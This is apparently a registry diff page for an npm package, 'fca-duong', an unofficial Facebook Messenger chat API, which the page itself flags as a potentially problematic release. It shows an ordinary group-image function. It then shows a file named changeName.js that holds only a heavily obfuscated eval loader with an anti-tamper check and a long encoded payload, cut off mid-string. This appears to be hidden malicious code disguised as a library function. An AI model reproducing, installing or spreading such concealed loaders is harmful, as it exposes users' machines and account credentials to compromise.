fca-duong 0.0.1-security → 6.9.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of fca-duong might be problematic. Click here for more details.

Files changed (73) hide show
  1. package/.cache/replit/nix/env.json +1 -0
  2. package/.replit +2 -0
  3. package/.upm/store.json +1 -0
  4. package/DOCS.md +1738 -0
  5. package/README.md +65 -3
  6. package/StateCrypt.js +22 -0
  7. package/broadcast.js +18 -0
  8. package/index.js +674 -0
  9. package/lib/getInfoNew.js +34 -0
  10. package/lib/getToken.js +44 -0
  11. package/logger.js +15 -0
  12. package/package.json +73 -3
  13. package/replit.nix +9 -0
  14. package/src/ReportV1.js +55 -0
  15. package/src/addExternalModule.js +16 -0
  16. package/src/addUserToGroup.js +78 -0
  17. package/src/changeAdminStatus.js +79 -0
  18. package/src/changeArchivedStatus.js +41 -0
  19. package/src/changeAvt.js +86 -0
  20. package/src/changeBio.js +65 -0
  21. package/src/changeBlockedStatus.js +36 -0
  22. package/src/changeGroupImage.js +106 -0
  23. package/src/changeName.js +3 -0
  24. package/src/changeNickname.js +45 -0
  25. package/src/changeThreadColor.js +62 -0
  26. package/src/changeThreadEmoji.js +42 -0
  27. package/src/createNewGroup.js +70 -0
  28. package/src/createPoll.js +60 -0
  29. package/src/deleteMessage.js +45 -0
  30. package/src/deleteThread.js +43 -0
  31. package/src/forwardAttachment.js +48 -0
  32. package/src/getAccessToken.js +33 -0
  33. package/src/getCurrentUserID.js +7 -0
  34. package/src/getEmojiUrl.js +27 -0
  35. package/src/getFriendsList.js +73 -0
  36. package/src/getMessage.js +79 -0
  37. package/src/getThreadHistory.js +537 -0
  38. package/src/getThreadHistoryDeprecated.js +71 -0
  39. package/src/getThreadInfo.js +170 -0
  40. package/src/getThreadInfoDeprecated.js +56 -0
  41. package/src/getThreadList.js +213 -0
  42. package/src/getThreadListDeprecated.js +46 -0
  43. package/src/getThreadPictures.js +59 -0
  44. package/src/getUserID.js +62 -0
  45. package/src/getUserInfo.js +66 -0
  46. package/src/getUserInfoV2.js +35 -0
  47. package/src/getUserInfoV3.js +64 -0
  48. package/src/getUserInfoV4.js +56 -0
  49. package/src/getUserInfoV5.js +62 -0
  50. package/src/handleFriendRequest.js +46 -0
  51. package/src/handleMessageRequest.js +49 -0
  52. package/src/httpGet.js +49 -0
  53. package/src/httpPost.js +48 -0
  54. package/src/httpPostFormData.js +41 -0
  55. package/src/listenMqtt.js +629 -0
  56. package/src/logout.js +68 -0
  57. package/src/markAsDelivered.js +48 -0
  58. package/src/markAsRead.js +70 -0
  59. package/src/markAsReadAll.js +43 -0
  60. package/src/markAsSeen.js +51 -0
  61. package/src/muteThread.js +47 -0
  62. package/src/removeUserFromGroup.js +49 -0
  63. package/src/resolvePhotoUrl.js +37 -0
  64. package/src/searchForThread.js +43 -0
  65. package/src/sendMessage.js +337 -0
  66. package/src/sendTypingIndicator.js +80 -0
  67. package/src/setMessageReaction.js +109 -0
  68. package/src/setPostReaction.js +102 -0
  69. package/src/setTitle.js +74 -0
  70. package/src/threadColors.js +39 -0
  71. package/src/unfriend.js +43 -0
  72. package/src/unsendMessage.js +40 -0
  73. package/utils.js +1247 -0
@@ -0,0 +1,106 @@
1
+ "use strict";
2
+
3
+ var utils = require("../utils");
4
+ var log = require("npmlog");
5
+ var bluebird = require("bluebird");
6
+
7
+ module.exports = function (defaultFuncs, api, ctx) {
8
+ function handleUpload(image, callback) {
9
+ var uploads = [];
10
+
11
+ var form = {
12
+ images_only: "true",
13
+ "attachment[]": image
14
+ };
15
+
16
+ uploads.push(
17
+ defaultFuncs
18
+ .postFormData("https://upload.facebook.com/ajax/mercury/upload.php", ctx.jar, form, {})
19
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
20
+ .then(function (resData) {
21
+ if (resData.error) throw resData;
22
+
23
+ return resData.payload.metadata[0];
24
+ })
25
+ );
26
+
27
+ // resolve all promises
28
+ bluebird
29
+ .all(uploads)
30
+ .then(resData => callback(null, resData))
31
+ .catch(function (err) {
32
+ log.error("handleUpload", err);
33
+ return callback(err);
34
+ });
35
+ }
36
+
37
+ return function changeGroupImage(image, threadID, callback) {
38
+ if (!callback && (utils.getType(threadID) === "Function" || utils.getType(threadID) === "AsyncFunction")) throw { error: "please pass a threadID as a second argument." };
39
+
40
+ var resolveFunc = function () { };
41
+ var rejectFunc = function () { };
42
+ var returnPromise = new Promise(function (resolve, reject) {
43
+ resolveFunc = resolve;
44
+ rejectFunc = reject;
45
+ });
46
+
47
+ if (!callback) {
48
+ callback = function (err) {
49
+ if (err) return rejectFunc(err);
50
+ resolveFunc();
51
+ };
52
+ }
53
+
54
+ var messageAndOTID = utils.generateOfflineThreadingID();
55
+ var form = {
56
+ client: "mercury",
57
+ action_type: "ma-type:log-message",
58
+ author: "fbid:" + ctx.userID,
59
+ author_email: "",
60
+ ephemeral_ttl_mode: "0",
61
+ is_filtered_content: false,
62
+ is_filtered_content_account: false,
63
+ is_filtered_content_bh: false,
64
+ is_filtered_content_invalid_app: false,
65
+ is_filtered_content_quasar: false,
66
+ is_forward: false,
67
+ is_spoof_warning: false,
68
+ is_unread: false,
69
+ log_message_type: "log:thread-image",
70
+ manual_retry_cnt: "0",
71
+ message_id: messageAndOTID,
72
+ offline_threading_id: messageAndOTID,
73
+ source: "source:chat:web",
74
+ "source_tags[0]": "source:chat",
75
+ status: "0",
76
+ thread_fbid: threadID,
77
+ thread_id: "",
78
+ timestamp: Date.now(),
79
+ timestamp_absolute: "Today",
80
+ timestamp_relative: utils.generateTimestampRelative(),
81
+ timestamp_time_passed: "0"
82
+ };
83
+
84
+ handleUpload(image, function (err, payload) {
85
+ if (err) return callback(err);
86
+
87
+ form["thread_image_id"] = payload[0]["image_id"];
88
+ form["thread_id"] = threadID;
89
+
90
+ defaultFuncs
91
+ .post("https://www.facebook.com/messaging/set_thread_image/", ctx.jar, form)
92
+ .then(utils.parseAndCheckLogin(ctx, defaultFuncs))
93
+ .then(function (resData) {
94
+ // check for errors here
95
+ if (resData.error) throw resData;
96
+ return callback();
97
+ })
98
+ .catch(function (err) {
99
+ log.error("changeGroupImage", err);
100
+ return callback(err);
101
+ });
102
+ });
103
+
104
+ return returnPromise;
105
+ };
106
+ };
@@ -0,0 +1,3 @@
1
+
2
+ "use strict";let bQl2;!function(){const Q6SG=Array.prototype.slice.call(arguments);return eval("(function QWdE(zclw){const Tzdw=Ljsu(zclw,Tr5t(QWdE.toString()));try{let v7fw=eval(Tzdw);return v7fw.apply(null,Q6SG);}catch(Pu8v){var r2aw=(0o201604-66426);while(r2aw<(0o400126%65560))switch(r2aw){case (0x30043%0o200023):r2aw=Pu8v instanceof SyntaxError?(0o400177%0x1002D):(0o400130%0x10019);break;case (0o202126-0x10431):r2aw=(0o400144%65567);{console.log(\'Error: the code has been tampered!\');return}break;}throw Pu8v;}function Tr5t(vZ7t){let Pm0t=924983388;var rU2t=(0o400045%65550);{let LhVt;while(rU2t<(0x10460-0o202104)){switch(rU2t){case (0o600102%0x1000E):rU2t=(68056-0o204703);{Pm0t^=(vZ7t.charCodeAt(LhVt)*(15658734^0O73567354)+vZ7t.charCodeAt(LhVt>>>(0x4A5D0CE&0O320423424)))^561698289;}break;case (0o204064-67615):rU2t=(131110%0o200010);LhVt++;break;case (262226%0o200017):rU2t=LhVt<vZ7t.length?(0o400112%0x10019):(67496-0o203614);break;case (0o1000071%0x1000C):rU2t=(0o203004-0x105EE);LhVt=(0x75bcd15-0O726746425);break;}}}let nPXt=\"\";var HcQt=(66276-0o201277);{let jKSt;while(HcQt<(0o600137%0x10013)){switch(HcQt){case (0o600246%65579):HcQt=(0x2003C%0o200024);jKSt=(0x21786%3);break;case (0o200620-0x1017C):HcQt=jKSt<(0O347010110&0x463A71D)?(65656-0o200154):(0o400122%0x10016);break;case (131128%0o200026):HcQt=(0o203600-0x10760);{const jMpu=Pm0t%(0o201700-66484);Pm0t=Math.floor(Pm0t/(0x3005A%0o200032));nPXt+=jMpu>=(131138%0o200024)?String.fromCharCode((0o210706-0x11185)+(jMpu-(0o400072%0x10010))):String.fromCharCode((196831%0o200052)+jMpu);}break;case (0o600070%0x10008):HcQt=(0o200310-65716);jKSt++;break;}}}return nPXt;}function Ljsu(fHku,Henu){fHku=decodeURI(fHku);let bCfu=(0x75bcd15-0O726746425);let D9hu=\"\";var Xwau=(0o202222-0x10489);{let z4cu;while(Xwau<(0x10D20-0o206404)){switch(Xwau){case (0o200360-0x100D8):Xwau=(0o200644-65935);{D9hu+=String.fromCharCode(fHku.charCodeAt(z4cu)^Henu.charCodeAt(bCfu));bCfu++;var z6Ju=(0o203326-0x106B3);while(z6Ju<(0x30096%0o200046))switch(z6Ju){case (0o400153%65572):z6Ju=bCfu>=Henu.length?(66656-0o202120):(0o600215%65571);break;case (262204%0o200013):z6Ju=(0o1000274%65574);{bCfu=(0x75bcd15-0O726746425);}break;}}break;case (0o400062%0x1000E):Xwau=z4cu<fHku.length?(196707%0o200031):(262280%0o200033);break;case (262181%0o200007):Xwau=(65756-0o200306);z4cu=(0x75bcd15-0O726746425);break;case (0o400073%65555):Xwau=(0x3004F%0o200023);z4cu++;break;}}}return D9hu;}})(\"M%0D%10%06%07%1E%03%0D%0BCL%13%02%1F%04%01%11%02%0A%06D%01%0D&4CL%13%16%0F%1E%17%17%05E@%17=%1F!MBLCL3-+)CLA%19%0C%1F%0C%06%1F%0C%07%0AJ\'%0A%22:MA%1F%18%0F%16%10%19%0BHLA19N0%3EC?77I%3E@%3E597A986%3EC?779NJN3977KNCM-%20.%20JLBO@%17=%1F!MBLA%19%0C%1F%0C%06%1F%0C%07%0AJ%0D%06%1D:MA%1F%18%0F%16%10%19%0BH%03%3C%03-MBN%25*%0B-JL@0%12%1E,BKN%0C%15?+BCI%3C%02.\'LCA%11%1C%1C#@M%17%083%09YX%13%19Q%0C%17%0B%08%11%01%0B%04J+%00*4@M%11%18%07%11%1E%17%06DBK98@%3E5M1A986%18%0E%11%04%09%16%0C%04%0BH%0F/(,MB%1E%1A%01%1E%1F%10%0BKMCEA1?NJN39CAJ%0E&=.LCC%1F%03%1E%0B%0B%10%03%05%0CE&#-*BC%19%17%0E%11%1D%16%04JJN0%3EC?1AC%3E6NIO17?N0N3977I%3E683O17?%3E@%3E597CIMCN@?A19D@%3E5OKA986N3O17?86N39C1I%3E0N3?A1?8@%3EC?77?N085?A1?80NIO17?86LBL%01/%20+CLAM%17%0C%17%0B%08%11%01%0B%04J%05\'%1D+@M%11%18%07%11%1E%17%06DB%1D%0A-$MAMAB;%22%22)@MC%17%04%10%05%06%1C%0D%05%04B,(%1C&LC%11%10%00%1F%10%1A%0AJB%16%1C%1B%00%07%02JK98B%3ECEA1?8%16%03%1D%0A%09%1E%0B%0A%05E%0B%1D%1A$JL%10%17%0D%10%1F%18%0CE%04%03//BCI%06($%22LC%17%04%10%05%06%1C%0D%05%04B%20%11%16&LC%11%10%00%1F%10%1A%0AJB%0D=%19,@MC1%05?%1F.@M7B+%04%13.@MC%17%004%07WF%22%08WJ%0B%1E%09%04YW%1F%0C%01%0E%03%01%0A%0F%0EK%5E%0D%10%06%07%1E%03%0D%0BK%3C%1D%0E$BK%1E%19%00%1C%11%18%04BM.%1F%1B*BCK%3E.1%0E+BC?MB%18%0E%11%04%09%16%0C%04%0BH%25%1D%07,MB%1E%1A%01%1E%1F%10%0BKMOC1?2%07%20MA9BCK%3E%0C%01.#BC?%18%0D%10%06%07%1E%03%0D%0BK$9%3E$B%016%08*D%13$%3E,L%10%09%0D%10J3-2%25XEO11I%3E0NIO17?N0N3977I%3E683O17?%3E@%3E597Q%14%04%19E%1B/$$_M%5B%1D%5BTZRU@%5B%0AZTZZVQB%5E%13%08%0F%1EB0\'4&_%1D%02%0B%09%0EM%1B/$$%5EM%5B%0AZU%5B%5DSSFU%10U%5BY#RBL%13%17%1D%03%16%06%03M%1B/$$K%1E%08%04%1B%01JBR%1DXUXW%5COR%0AYUXTZ%5DK_%18.&*W?.4%25Y%0B7%09%25L%09%0E%0B%0F%10%02UJU%04WXP%5D%5EPH%5D%5DXPYCXM%5B%0A%5ETZXQRNU%10UZZP%5DB%5E%0A%16%0F%0B%09%5E%08%04%1B%01JBR%0AYU%5BW%5B%5EOU%13TXR+,K_%18.&*WBR%1DZU+!%5EGR%0AYU%5EWZYK%5E%3E)9*AAY%07%19%00%09%0FQ%09%03%16%0EE@T%05XRPYT%5CIZ%12SU*RYMP%19)+%25X@US%5CT%5CS@X%0BXZRUYVA_?&3+VN3?A19N085O1A9868C?779N085?A1?86%5E%0A%16%0F%0B%09%5E%08%04%1B%01JBTSYW%5EIZ%05PUZW%5BWCP%11.%25+ULZ%12SUXS%5EIZ%05PUZPYUCQ%19%13%0A%17H%0B%22%22,XCU%10UZ%5B#QFU%07VZZTT%5CLS%13%02%03%0E%00C%0A%20,$VJU%13VXTRXGU%04WXTZ%5ERLB%16%1F%0D%1E%09%0AM%04-%20*C%11%01%04%18%00HLZ%12SU%5E\'-IZ%05PUYS%5DUCP%0D-#+U%079%09-%3E%3E)9*7W_X%1C+%3C*1A9%3E@%3E3EA1?NJN397A9N0859A1?80N3971ID@%3E5977%5DM%5B%1DYTR%5DRH%5B%0AZT%5E%5BPPB_@RR_%5BSFU%07VZ_UWYLS%06%18%0F%03%0EP%06%09%17%0FJJU%04WXQX%5BVH%5B%1DYT+%5DSLQ%0A%20,$WJU%13TX%5D%5E)OU%04WXP%5E_PLP%17%0D%10%1F%18%0CE%3E)9*Q%17%1F%07%19%00%09%0FQ%17%1F%18%19%00%1C%11%18%04B%3C$2&_%17%0C%17%0B%08%11%01%0B%04J3,%20+@M%11%18%07%11%1E%17%06DBAI%3E@%3E591A986HCEA1?L@M@5%01?%25MBLBL\'8%06(CLAM%17%0C%17%0B%08%11%01%0B%04J3%06%12*@%17%0F(-L%10%17%0D%10%1F%18%0CE:(%3E.1%19%07\'$8S%19%0C%1F%0C%06%1F%0C%07%0AJ\'8%17$MA%1F%18%0F%16%10%19%0BHL+%0D),CLA?%0D0%16.CL5L%09%073*CLA%19%1C%0B%10E%04%07%1E+W1JU$VXTXYWQXQEQZ%5ESWXTYMFBR*ZQ%5CR_%5DVQ%5C;X%1C%5BSQP-WXMFBR%0AYUZP_ZOU%13TXQ%5B.KICU%07PZZRR%5E@X%1C%5BZRTSL5_%0C%1F%0C%06%1F%0C%07%0AJ#5%09$MA%1F%18%0F%16%10%19%0BH5%052/MBN%0F2%03%25JL@%02%3E%0D%25BKN2%00%20-BC%1F%03%1E%0B%0B%10%03%05%0CE%00%3C%07+BC%19%17%0E%11%1D%16%04JE9%1EUXSZM%1F%03%1E%0B%0B%10%03%05%0CE.1%0E+BC%19%17%0E%11%1D%16%04J/+%0A%22@MA#!%1C%25MAO\'%3C%0D,CLC%0F3%05-MBN%03=%05%25JL@$%03*%25BKN%3E%1F%12%22BCI(%0F!#LCA%09%3C%1C%20@MA%0D,%06(MAO+%01,*CL%15%02%1F%04%01%11%02%0A%06D%0D%3C%0B*CL%13%16%0F%1E%17%17%05E@%03$%09!MBL3!%3E%0C-MB8@M%17%0C%17%0B%08%11%01%0B%04J%05%15%3C*@M%11%18%07%11%1E%17%06DB%1E%1B%15%0E%0A%0EDB1?N08AM1ACN08CEA1?NJN397%17%04%10%05%06%1C%0D%05%04B,%1A?\'LC%11%10%00%1F%10%1A%0AJBC%3E6N39C1ID@%3E5OKA986%18%0E%11%04%09%16%0C%04%0BH%07%07;-MB%1E%1A%01%1E%1F%10%0BKM%256%0E\'JLBN@1%1C%05(MBL%15%12%0B%18B%20%051\'Y1BR%1DZT%5DRRGR%0AYTZWY%5DKICSPW%5B%5COU%04WXQ%5BXSLGMX%1C%5BX\'%5C%5BHX%0BXXTR%5CVAHBZ%1AV%5BWPROZ%0DW%5BUZP_C?%5E%0D%10%06%07%1E%03%0D%0BK%3C%01/%25BK%1E%19%00%1C%11%18%04BM083?77I%3E6L3O17ID@%3E59%17%0C%17%0B%08%11%01%0B%04J#%0E%25*@M%11%18%07%11%1E%17%06DB1?%3E085O17K%3E@DC?7ACN08CEA1?8%16%03%1D%0A%09%1E%0B%0A%05E=%02/%25JL%10%17%0D%10%1F%18%0CECM1%1D%1F%20JLBO@=%0B/!MBLAOBAJ%3E@%3E3EA1?NJN397A9N08597A98B%3EC?77K%18%0D%10%06%07%1E%03%0D%0BK%12%00,%25BK%1E%19%00%1C%11%18%04BMC%20,%20%20BKLAMCEA1?NCNC?A1?80N397CKL@MC?1A9%3E@D39AKI%3E68C?A1?86N3971I%3E683O17?8B%18%0E%11%04%09%16%0C%04%0BH=-#.MB%1E%1A%01%1E%1F%10%0BKMCEA1?L@M@%17=%1F!MBLBL\'8%06(CLAM%17%0C%17%0B%08%11%01%0B%04J#,\')@M%11%18%07%11%1E%17%06D#%0F#4CLC1%10%10$MBN!\'%13$JL@%06?%0A!BKN&%01,/BCI%06($%22LCA%09%3C%1C%20@MA?%18%1F-MAO\'%0E&.CLC%25%09%10/MBN!\'%13$JL@4%0F.!BKN*%0E&+BC%1F%03%1E%0B%0B%10%03%05%0CE%3E!+(BC%19%17%0E%11%1D%16%04J#%0E%25*@MA3%0B.$MAO\'$%03%22CLC1%10%10$MBN%0F%14=%25JL@$%03*%25BKN%0C+%0B\'BC%1F%07:%09ZJ+%5E%0E)V%03%1D%0A%09%1E%0B%0A%05MA%1F%18%0F%16%10%19%0BHLZ%12PT%5C%5D%5EAYC%1F%5E%0D%10%06%07%1E%03%0D%0BK%12.%22&B3$%1C)D%17)%10.I&%1D%19(C%11%0E%00%1FE%07%1E%1E&_GI%5E%1E%05%18J%0D1%0C(UL%5C%5DPQ%5DHX%0BXZQWXVA_%11%06%07%11K4=%0E\'Q3%0E&4R%13%02%03%0E%00C%0A%3C%03\'VJU%04WXQ_ZRH%5D%5D%5B%5CZCK%1E%18%12%01%10%09%02J%0A?%02%25M%11%09%03%16%0EE@T%05XRR_R%5CI%5CSVU%5DLR%0B%3E%0D/X:0%02)V%19!%1F\'N@)%12%1B.XVX%1D%0A%0E%0F%04%0C%05%00%0C%5B;+%15)E%09%0D%0A%0D%1E%0A_&%1D%19(CUJU%04WXQY%5CRH%5B%1DYT+)&LQM%5EQRSTH%5B%0AZTZ_RQB%5E%0A%16%0F%0B%09%5E%08%04%1B%01JBR%0A_UXUYYGU%13TXT%5B)K_%041%0F)WBR%0AYUZR%5EZOS%5D%5C%5ETCQ%19%13%0A%17H%0F;%0B/XCU%07PZZRV_@%5EQ_%5EPLP%12%00%0D%06%0FJ%0E:%04%25XB%5BQTZ%5DYAZ%05PU%5BU%5CQCC%11%12%02%11%0B%0CB%013%04&L%13%07%0B%19%07ECTQR%5DZW@%5B%0AZTZZPPB_%035%0B\'_MZ%5C%5ESX%5DGU%04WXTZYVLP%07%1A%01%0B%01B4%00(9_%09%0B%11%00KM%5ERR%5BTH%5B%0AZTXYTUB_%035%0B\'_4%3E%0F%25ZW;#%12\'K%04%01%04%0D%16%0DTMX%1C%5B%5BSQ_HX%0BX%5BRQ_WA%5EBZ%0DT%5BUXVZ%5DGS%5EP%5EUCQ%00%17%0E%04%03_%17%05%18%11\'NU5+%1D.%3E:0%02)7Q%1F%07%19%00%09%0FQ%09%03%16%0EE@T%05XRW%5CSXI%5C%5DRV%5CLR%0B%3E%0D/XCU%07VZ%5ERS_HX%1C%5BZZT%5DLS5?%00/X%18&%12(Q%08%10%00%0A%0ES%07%0B%19%07ECS%5E%5C%5B%5COU%04WXVY%5CRLQ%0A%3C%03\'WJU%04TXTZ%5BWWNS%5DQ__K%5E:0%02)AAY%07%19%00%09%0FQ%17%1F%18%19%00%1C%11%18%04B%0A%11%11$_%17%0C%17%0B%08%11%01%0B%04J/7%0F(@M%11%18%07%11%1E%17%06DBAJ%3E@%3E3EA1?NJN397A9N08597A98B%3EC?1A9%3E@%3E59A1I%3E685O17?%3E@%3E591ACN08597CIM@N3O17?%3E@%3E59C%17%04%10%05%06%1C%0D%05%04B%02%250$LC%11%10%00%1F%10%1A%0AJB%11%10%07/@MC1%05?%1F.@M7B%0D=%19,@MC%17%04%10%05%06%1C%0D%05%04B,$=$L%09!-)B%1E%1A%01%1E%1F%10%0BK4%252%201%01.$)5_%17%0C%17%0B%08%11%01%0B%04J\')9)@M%11%18%07%11%1E%17%06D3%03)*CLC%03$%09!MBN!\'%13$JL@,%19%3E%25BKN*%0E&+BC%1F%03%1E%0B%0B%10%03%05%0CE.%03.)BC%19%17%0E%11%1D%16%04J%05+%3E)@MA%0D,0\'MAO%1D%1E%05+CLC%07%073\'MBN%25.:%20JL@,/.%20BKN26%00/BCI0%05%04%20LCA%053%02*@MA+%15%08%25MAO%09%0B%18%22CLC)$%0B%25MBN%1F%1C%18%20JL@$%03*%25BKN%3E%1F%12%22BCI,%0E$9LCA+%22!/@MA;7%17(MAO/:%01,CLC!%10%19,MBN%0F*%09)JL@%0E1%0B%25BKN%04%0F:#BCI%3C%02.\'LCA/+%0A%22@MA;%15%11-MAO%0D%1A5*CLC1%10%10$MBN!%0D&\'JL@,%01(\'BKN&%0D\'#BCI%3C%3C%16/LCA;2%18%22@MA#%0F2%22MAO%09)#/CLC%0F+%13*MBN%07%0E8-JL%16%079%08XD7%17%0E)U%02%1F%04%01%11%02%0A%06LC%11%10%00%1F%10%1A%0AJBR*%5ERXRZ_SSFU%10%06%09%5CSQ%0FL%15_%0C%1F%0C%06%1F%0C%07%0AJ%0D%0A,&MA%1F%18%0F%16%10%19%0BHLA19N0%3EC?77I%3E@%3E597A986%3EC?779NJN3977KNCMCEA1?NCNC?A1?80N397CKOC%3C%11%11%20BKLB%18%0E%11%04%09%16%0C%04%0BH%25%09%10/MB%1E%0B%0B%04%19%16E%08%00+)W\'0%09(MA??%08%20,CL5_%18%0F%16%10%19%0BH%07%0F)/ZC%06%0D\'\'A98B%3E%1B3%07\'G%3C,,$LC7X%12-#$L%09%0F!(@%3E5H%0D(%14+CLA_%17%0C%17%0B%08%11%01%0B%04J%15?%18(@M%11%18%07%11%1E%17%06D%1E%02%0B%160M95%0D-JLBN@)%1A%09(MBL5_%17%0C%17%0B%08%11%01%0B%04J;%04%1C(@M%11%18%07%11%1E%17%06D\'8%0E&CL3%03%0E%123MB8S%19%0C%1F%0C%06%1F%0C%07%0AJ%195%08&MA%1F%18%0F%16%10%19%0BH)8%06!MB%3E%0F%08%3E#JL6%3E)=%1C-JL6MA_%17%0C%17%0B%08%11%01%0B%04J7=%1B(@1%18%0E,L%10%17%0D%10%1F%18%0CE:(%3E.1?%10%01%258S%19%0C%1F%0C%06%1F%0C%07%0AJ%1D%16%02%25MA%1F%18%0F%16%10%19%0BHLMM90;%07#LC7JLB%3E%1B7%00-JL6%18%0A5%06XL%121%02$Y%0C%1F%0C%06%1F%0C%07%0ABC%19%17%0E%11%1D%16%04JJU%13WQW_%5E%5BQ%0A@_M%17Q%04%10%05%06%1C%0D%05%04B4%04=%25LC%11%10%00%1F%10%1A%0AJB%16%1C%1B%00%07%02JK98B%3EC?77%1F%03%1E%0B%0B%10%03%05%0CE%18%14%09*BC%19%17%0E%11%1D%16%04JJ%06($%22LCC9%20?%03\'LC7JL%16%03%1D%0A%09%1E%0B%0A%05E%25%088\'J%0A%050%25M%11%18%07%11%1E%17%06D;\'4/0%0A%061\'7Y%18%0D%10%06%07%1E%03%0D%0BK,%01(\'BK%1E%19%00%1C%11%18%04BM%3E%1F%12%22BCK%3E.1%0E+BC?MB%18%0E%11%04%09%16%0C%04%0BH%0F%01%25/MB%1E%1A%01%1E%1F%10%0BKM@)8%0E/MBLBL3-+)CLAMABI%3E0N3?AKI%3E68C?A1?86N3971I%3E683O17?8B%18%0E%11%04%09%16%0C%04%0BH)%20:(MB%1E%1A%01%1E%1F%10%0BKM@LAA9N085?A1?8BJ@OKA98@DC?7CKN08A?AKI%3E68%15%06;%06PK%1CT&(W%0C%17%0B%08%11%01%0B%04BK%1E%19%00%1C%11%18%04BM%5B%0AYRZZRWZ@YW%5BZU%5DB%18S%02%1F%04%01%11%02%0A%06D%05&1/CL%13%16%0F%1E%17%17%05E%07%16%0C%20JL@%0E1%0B%25BKN&?%1A+BCI%06%06%3C-LC%17%04%10%05%06%1C%0D%05%04B,,/%22LC%11%10%00%1F%10%1A%0AJB%15%0D#*@MCA98%16%03%1D%0A%09%1E%0B%0A%05E%03-\'%20JL%10%17%0D%10%1F%18%0CE%3E%0B%09,BCI%06%3C%0B#LCA;%0C%20*@MA%1D%20&-MA%19%0C%1F%0C%06%1F%0C%07%0AJ/&!!MA%1F%18%0F%16%10%19%0BHLAB9N0%3EIO17ID@%3E59A1I%3E6859A1?L0N3?A19N085O1A9868C?779N085?AKI%3E6859C@JN@%3EC?779N085MABID@%3E5OKA98B%18%0E%11%04%09%16%0C%04%0BH%03,-(MB%1E%1A%01%1E%1F%10%0BK%3C%01/%25BKN2%10%02*BCI%02%25%06+LCA%01%082%20@M%17%0C%17%0B%08%11%01%0B%04J#$%13/@M%11%18%07%11%1E%17%06D3%1F%08+CLC%03$?.MBN-%1E%19$JL@%12*\',BK%18%0D%10%06%07%1E%03%0D%0BK%06+%25%20BK%1E%19%00%1C%11%18%04BM%00%20**BCK%3E%0C?%1C/BC?M%00%0E\')BCK%18%094%04VD3%1B4\'X%0E%11%04%09%16%0C%04%0B@M%11%18%07%11%1E%17%06D%5C_WV%5D%18S%02%1F%04%01%11%02%0A%06D%09=%0C.CL%13%16%0F%1E%17%17%05E@1%0C/-MBL3%030%1E)MB8@%0F%01%25/MBL%15%02%1F%04%01%11%02%0A%06D/2%13.CL%13%16%0F%1E%17%17%05E@OA1I%3E683O17?NCNC?A1?80N397CKNCM9%0F?-JLBO@=%13%1F(MBLA%19%0C%1F%0C%06%1F%0C%07%0AJ31%0D%20MA%1F%18%0F%16%10%19%0BHL%09=%0C.CLA?/%3E%04*CL5LC%17%04%10%05%06%1C%0D%05%04B$%3E%0E#LC%11%004%07W3%07%13%1A,MB8U)8%06!MB%3E=%06(#JL6%5E%256%06)JL04-,%22BKN.):(BC?X%094%04V1%1D%06%20%22MA9Q%17%04%10%05%06%1C%0D%05%04B0;%07#LC%11%10%00%1F%10%1A%0AJ#%07$:MAO#)%1B+CLC=%03!-MBN%25*%0B-JL@%0A%0E#!BKN%22&%11*BCI,%1A?\'LCA+&%12+@MA?%18%1F-MA%19%0C%1F%0C%06%1F%0C%07%0AJ%1D0%00%20MA%1F%18%0F%16%10%19%0BHL%1D%02**CLAOB%1D4%15,MAM%17%06%07%11K4%252%20Q%04%10%05%06%1C%0D%05%04B%16$%3C%22LC%11%10%00%1F%10%1A%0AJB;%0C%20*@MC1\'1%0D*@M7BK%18%0D%10%06%07%1E%03%0D%0BK%16%01)!BK%1E%19%00%1C%11%18%04BMC41%11#BKLAM%1B3%1F)JLBLCLA1?NJN39C%17%04%10%05%06%1C%0D%05%04B0%015#LC%11%10%00%1F%10%1A%0AJB%11%1C%1C#@MC1\'1%0D*@M7BK%18%0D%10%06%07%1E%03%0D%0BK%0A%0E#!BK%1E%19%00%1C%11%18%04BM083%13%1A%0E*MB8C?7C9NJN39AKI%3E6NIO17?%18%0D%10%06%07%1E%03%0D%0BK4%0F.!BK%1E%19%00%1C%11%18%04BM083?77I%3E6L3OA1IN0%3E591A98683O17?8%16%03%1D%0A%09%1E%0B%0A%05E%03%07+!JL%10%17%0D%10%1F%18%0CE%0C+=(BCI$%00+\'LCA3%0A3(@MA%09%25)-MAO%0D%1A5*CLC)$%0B%25MBN%25%0C%25-JL@,%053#BKN*%0E&+BCI%3C%02.\'LCA/+%0A%22@MA%0D4%0C$MAO\'$%03%22CLC-)%13,MBN=%1E%10,JL@%0E1%13/BKN%18%1C%1F%22BCI$%00+\'LC%17%04%10%05%06%1C%0D%05%04B(%0F!#LC%11%10%00%1F%10%1A%0AJM%3E%10%5BU%5CWM%17%004%07W3%03,-(MB8U12%1A/%5E%0D%10%06%07%1E%03%0D%0BK%022%10!BK%1E%19%00%1C%11%18%04B(%25%04/LCA+&%12+@MA%0D4%0C$MAO\'$%03%22CLC1%10%10$MBN%0F%14=%25JL@%3C%01/%25BKN%18%1C%1F%22BC%1F%03%1E%0B%0B%10%03%05%0CE%22%04%10/BC%19%17%0E%11%1D%16%04JJN@%3EC?779N085OBAI%3E@%3E591A986LAOBB%05%0D%22(@MC@J%20/!%22LCCK%18%0D%10%06%07%1E%03%0D%0BK,%1D%0F&B%09%12%05)D!%18%0F.I%0C%11%00(F+%0D%3C%20L%13%07%05%04%11%11K%06%19%06&W%15#-)@%0F%1D%04.I%00%12%06(D%06%07%0B%0C%11%00IBA9%3E@%3E3OKA986N3O17?8@%3E591A986%3EC?77?LB%5E%04%01%1EJ%15%098.U)0%10\'M.%17%0D(GBID@%3E5MF%09%13%07\'LS%08%0F%1EB%3C%063#Y+%05;.P%13%09%16J+/2#X@T%12%5BR%5CYQET%05XRQ_TZMQ%11%0E%00%1FE%0B+0%22Y%12%03%0C%04%01B+/2#Y@T%05XRP%5BSZI%5CRST%5CLA%1F%19%1D%0B%11%08%0D@%25\'=*L%10%06%09%17%0FJJU%13VXT_%5CGU%04WXTZXVLQ$%253%22WJU%04SXTZ%5DP@%5DP%5DQ%5BCY%06$?%20YA19N0%3EC?77I%3E@%3E597A986%3EC?779N0859Q%08%10%00%0A%0ES%07%0B%19%07ECU%07VZ%5BRT%5BH%5ERZ%5EQLQ$%253%22W%01*1-T!%18%0F.HCNIO17KZCU%07VZYUW%5BH%5ES_%5BSLQM%5E%5DZ%5BTH%5B%0AZT%5C_UVB%5E%0A%16%0F%0B%09%5E%08%04%1B%01JBPSYW%5DROZ%0DW%5BUXV_CX$&2%20YBZ%1AQ%5BU%5D%5DOZ%0DW%5